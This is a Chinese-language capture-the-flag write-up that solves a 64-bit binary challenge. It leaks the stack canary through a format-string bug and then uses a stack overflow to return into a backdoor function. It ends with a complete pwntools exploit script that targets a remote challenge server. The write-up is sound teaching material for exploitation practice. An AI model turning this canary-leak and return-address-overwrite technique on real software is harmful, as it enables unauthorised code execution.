64位的程序,并且开启了NX和Canary,还有Partial RELRO,got表有写权限
执行一下文件看看流程,存在两个漏洞
用IDA看看 可以看到执行2的时候 存在字符串漏洞
按1的时候,存在栈溢出漏洞
看一下流程图和汇编可以知道readsqword这个地方有canary保护,只有 rax 和fs:28h 两个值相等的时候 才能跳转到返回值,反之则调用stak_chk_fail
同时还有一个后门函数
思路:首先利用字符串漏洞,泄露出canary的值,然后在函数要返回的时候再填回去,之后利用栈溢出,让其返回到后门函数
先看一下字符串的偏移
可以看到偏移了6个字节
确定canary和输入的参数之间的偏移
buf和v2相差了0x90-0x8=0x88,0x88/8=17, 17+6=23
因为64位的程序,每个格式化字符串都是8字节,同理32位是4字节
然后再利用栈溢出调用后门函数即可get flag
构造的脚本如下
from pwn import * r=remote('111.198.29.45',53501) r.recvuntil('3. Exit the battle') r.sendline('2') r.sendline('%23$p') r.recvuntil('0x') canary=int(r.recv(16),16) print (canary) flag_addr=0x4008da payload='a'*0x88+p64(canary)+'a'*8+p64(flag_addr) r.recvuntil('3. Exit the battle') r.sendline('1') r.sendline(payload) r.interactive()
执行结果